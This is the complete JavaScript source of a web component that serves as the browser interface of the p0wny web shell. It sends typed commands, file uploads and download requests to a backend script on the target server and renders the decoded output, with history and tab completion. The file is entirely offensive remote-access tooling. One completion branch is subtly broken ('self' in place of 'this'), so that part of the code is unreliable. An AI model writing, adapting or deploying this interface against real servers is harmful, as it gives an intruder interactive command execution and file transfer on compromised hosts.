1class P0wnyShell extends HTMLElement {
2
3    cwd = null;
4    commandHistory = [];
5    historyPosition = 0;
6
7    userName = 'p0wny';
8    hostName = 'shell';
9
10    backend = '';
11
12    eRoot = null;
13    eShellCmdInput = null;
14    eShellContent = null;
15    eShellPrompt = null;
16
17    /**
18     * Constructor
19     *
20     * Creates the shadow root and attaches the event listeners
21     */
22    constructor() {
23        super();
24
25        // get the base path of the current script
26        const base = document.currentScript.src.substring(0,document.currentScript.src.lastIndexOf('/')+1);
27
28        this.eRoot = this.attachShadow({mode: 'open'});
29        this.eRoot.innerHTML = `
30            <link rel="stylesheet" href="${base}P0wnyShell.css" type="text/css" />
31            <div id="shell">
32                <pre id="shell-content">
33                    <div id="shell-logo"><div><slot></slot></div></div>
34                </pre>
35                <div id="shell-input">
36                    <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
37                    <div>
38                        <input id="shell-cmd" name="cmd" />
39                    </div>
40                </div>
41            </div>
42        `;
43
44        this.eShellCmdInput = this.eRoot.querySelector('#shell-cmd');
45        this.eShellContent = this.eRoot.querySelector('#shell-content');
46        this.eShellPrompt = this.eRoot.querySelector('#shell-prompt');
47        this.eShellCmdInput.addEventListener('keydown', this.onShellCmdKeyDown.bind(this));
48
49        // click into the shell to focus the input (unless selecting)
50        this.eRoot.addEventListener('click', function (event) {
51            const selection = window.getSelection();
52            if (!selection.toString()) {
53                this.eShellCmdInput.focus();
54            }
55        }.bind(this));
56    }
57
58    /**
59     * Called when the shadow DOM has been attached to the element
60     */
61    connectedCallback() {
62        this.userName = this.getAttribute('username') || this.userName;
63        this.hostName = this.getAttribute('hostname') || this.hostName;
64        this.backend = this.getAttribute('backend') || this.backend;
65        this.cwd = this.getAttribute('cwd');
66
67        this.updateCwd(this.cwd);
68        this.eShellCmdInput.focus();
69
70        // fetch real username and hostname from backend
71        this.makeRequest('?feature=userhost', {cwd: this.cwd}, function (response) {
72            this.userName = response.username ? atob(response.username) : this.userName;
73            this.hostName = response.hostname ? atob(response.hostname) : this.hostName;
74            this.updateCwd(atob(response.cwd));
75        }.bind(this));
76    }
77
78    /**
79     * Add a new command to the shown shell
80     *
81     * @param {string} command
82     */
83    insertCommand(command) {
84        this.eShellContent.innerHTML += "\n\n";
85
86        const promptSpan = document.createElement('span');
87        promptSpan.classList.add('shell-prompt');
88        this.updatePrompt(this.cwd, promptSpan);
89        this.eShellContent.appendChild(promptSpan);
90
91        const commandSpan = document.createElement('span');
92        commandSpan.textContent = command;
93        this.eShellContent.appendChild(commandSpan);
94
95        this.eShellContent.innerHTML += "\n";
96        this.eShellContent.scrollTop = this.eShellContent.scrollHeight;
97    }
98
99    /**
100     * Add command output to the shown shell
101     *
102     * @param {string} stdout
103     */
104    insertStdout(stdout) {
105        const textElem = document.createTextNode(stdout);
106        this.eShellContent.appendChild(textElem);
107        this.eShellContent.scrollTop = this.eShellContent.scrollHeight;
108    }
109
110    /**
111     * Simple method to decouple a given callback from the main thread
112     *
113     * @param {function} callback
114     */
115    defer(callback) {
116        setTimeout(callback, 0);
117    }
118
119    /**
120     * Handle an entered shell command
121     *
122     * Commands may be executed directly or passed to the backend
123     *
124     * @param command
125     */
126    featureShell(command) {
127        this.insertCommand(command);
128
129        if (/^\s*upload\s+\S+\s*$/.test(command)) {
130            // pass to upload feature
131            this.featureUpload(command.match(/^\s*upload\s+(\S+)\s*$/)[1]);
132        } else if (/^\s*clear\s*$/.test(command)) {
133            // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
134            this.eShellContent.innerHTML = '';
135        } else {
136            // send to backend
137            this.makeRequest("?feature=shell", {cmd: command, cwd: this.cwd}, function (response) {
138                if (response.hasOwnProperty('file')) {
139                    this.featureDownload(atob(response.name), response.file)
140                } else {
141                    this.insertStdout(atob(response.stdout));
142                    this.updateCwd(atob(response.cwd));
143                }
144            }.bind(this));
145        }
146    }
147
148    /**
149     * Handle tab auto completion
150     */
151    featureHint() {
152        if (this.eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete
153
154
155        const currentCmd = this.eShellCmdInput.value.split(" ");
156        const type = (currentCmd.length === 1) ? "cmd" : "file";
157        const fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
158
159        this.makeRequest(
160            "?feature=hint",
161            {
162                filename: fileName,
163                cwd: this.cwd,
164                type: type
165            },
166            function (data) {
167                if (data.files.length <= 1) return;  // no completion
168                data.files = data.files.map(function (file) {
169                    return atob(file);
170                });
171                if (data.files.length === 2) {
172                    if (type === 'cmd') {
173                        self.eShellCmdInput.value = data.files[0];
174                    } else {
175                        const currentValue = this.eShellCmdInput.value;
176                        this.eShellCmdInput.value = currentValue.replace(/(\S*)$/, data.files[0]);
177                    }
178                } else {
179                    this.insertCommand(this.eShellCmdInput.value);
180                    this.insertStdout(data.files.join("\n"));
181                }
182            }.bind(this)
183        );
184
185    }
186
187    /**
188     * Make the browser download a file using a data URI
189     *
190     * @param {string} name Name of the file to download
191     * @param {string} file Base64 encoded file content
192     */
193    featureDownload(name, file) {
194        const element = document.createElement('a');
195        element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
196        element.setAttribute('download', name);
197        element.style.display = 'none';
198
199        this.eRoot.appendChild(element);
200        element.click();
201        this.eRoot.removeChild(element);
202        this.insertStdout('Done.');
203    }
204
205    /**
206     * Upload a file to the server
207     *
208     * @todo use await/async
209     * @param {string} path Path to upload the file to (relative to current working directory)
210     */
211    featureUpload(path) {
212        const element = document.createElement('input');
213        element.setAttribute('type', 'file');
214        element.style.display = 'none';
215        document.body.appendChild(element);
216        element.addEventListener('change', function () {
217            const promise = this.getBase64(element.files[0]);
218            promise.then(
219                function (file) {
220                    this.makeRequest(
221                        '?feature=upload',
222                        {path: path, file: file, cwd: this.cwd},
223                        function (response) {
224                            this.insertStdout(atob(response.stdout));
225                            this.updateCwd(atob(response.cwd));
226                        }.bind(this)
227                    );
228                }.bind(this),
229                function () {
230                    this.insertStdout('An unknown client-side error occurred.');
231                }.bind(this)
232            );
233        }.bind(this));
234        element.click();
235        document.body.removeChild(element);
236    }
237
238    /**
239     * Get the base64 representation of a file
240     *
241     * @todo make async instead of promise
242     * @param file
243     * @returns {Promise<unknown>}
244     */
245    getBase64(file) {
246
247        return new Promise(function (resolve, reject) {
248            const reader = new FileReader();
249            reader.onload = function () {
250                resolve(reader.result.match(/base64,(.*)$/)[1]);
251            };
252            reader.onerror = reject;
253            reader.readAsDataURL(file);
254        });
255    }
256
257    /**
258     * Update the current working directory
259     *
260     * @param {string|null} cwd
261     */
262    updateCwd(cwd = null) {
263        if (cwd) {
264            this.cwd = cwd;
265            this.updatePrompt();
266            return;
267        }
268        this.makeRequest("?feature=pwd", {}, function (response) {
269            this.cwd = atob(response.cwd);
270            this.updatePrompt();
271        }.bind(this));
272    }
273
274    /**
275     * Update the prompt
276     *
277     * @param {string|null} cwd The current working directory, defaults to current one
278     * @param {HTMLElement|null} element The element holding the prompt, defaults to input prompt
279     */
280    updatePrompt(cwd = null, element = null) {
281        cwd = cwd || this.cwd || "~";
282        element = element || this.eShellPrompt;
283
284        // create a short version of the current working directory
285        let shortCwd = cwd;
286        if (cwd.split("/").length > 3) {
287            const splittedCwd = cwd.split("/");
288            shortCwd = "…/" + splittedCwd[splittedCwd.length - 2] + "/" + splittedCwd[splittedCwd.length - 1];
289        }
290
291        // create the prompt elements
292        const userText = document.createTextNode(this.userName + "@" + this.hostName + ":");
293        const cwdSpan = document.createElement("span");
294        cwdSpan.title = cwd;
295        cwdSpan.textContent = shortCwd;
296        const promptText = document.createTextNode("# ");
297
298        // clear the prompt and add the elements
299        element.innerHTML = '';
300        element.appendChild(userText);
301        element.appendChild(cwdSpan);
302        element.appendChild(promptText);
303    }
304
305    /**
306     * Handle keydown event on shell command input
307     *
308     * @param {KeyboardEvent} event
309     */
310    onShellCmdKeyDown(event) {
311        switch (event.key) {
312            case "Enter":
313                this.featureShell(this.eShellCmdInput.value);
314                this.insertToHistory(this.eShellCmdInput.value);
315                this.eShellCmdInput.value = "";
316                break;
317            case "ArrowUp":
318                if (this.historyPosition > 0) {
319                    this.historyPosition--;
320                    this.eShellCmdInput.blur();
321                    this.eShellCmdInput.value = this.commandHistory[this.historyPosition];
322                    this.defer(function () {
323                        this.eShellCmdInput.focus();
324                    }.bind(this));
325                }
326                break;
327            case "ArrowDown":
328                if (this.historyPosition >= this.commandHistory.length) {
329                    break;
330                }
331                this.historyPosition++;
332                if (this.historyPosition === this.commandHistory.length) {
333                    this.eShellCmdInput.value = "";
334                } else {
335                    this.eShellCmdInput.blur();
336                    this.eShellCmdInput.focus();
337                    this.eShellCmdInput.value = this.commandHistory[this.historyPosition];
338                }
339                break;
340            case 'Tab':
341                event.preventDefault();
342                this.featureHint();
343                break;
344        }
345    }
346
347    /**
348     * Insert command to history
349     *
350     * @param {string} cmd
351     */
352    insertToHistory(cmd) {
353        this.commandHistory.push(cmd);
354        this.historyPosition = this.commandHistory.length;
355    }
356
357    /**
358     * Send a request to the backend
359     *
360     * @todo use fetch instead of XMLHttpRequest
361     * @param {string} url base url
362     * @param {object} params An object containing the parameters to send
363     * @param {function} callback A callback function to call when the request is done
364     */
365    makeRequest(url, params, callback) {
366        function getQueryString() {
367            const a = [];
368            for (const key in params) {
369                if (params.hasOwnProperty(key)) {
370                    a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
371                }
372            }
373            return a.join("&");
374        }
375
376        const xhr = new XMLHttpRequest();
377        xhr.open("POST", this.backend + url, true);
378        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
379        xhr.onreadystatechange = function () {
380            if (xhr.readyState === 4 && xhr.status === 200) {
381                try {
382                    const responseJson = JSON.parse(xhr.responseText);
383                    callback(responseJson);
384                } catch (error) {
385                    alert("Error while parsing response: " + error);
386                }
387            }
388        };
389        xhr.send(getQueryString());
390    }
391
392
393}
394
395window.customElements.define('p0wny-shell', P0wnyShell);
396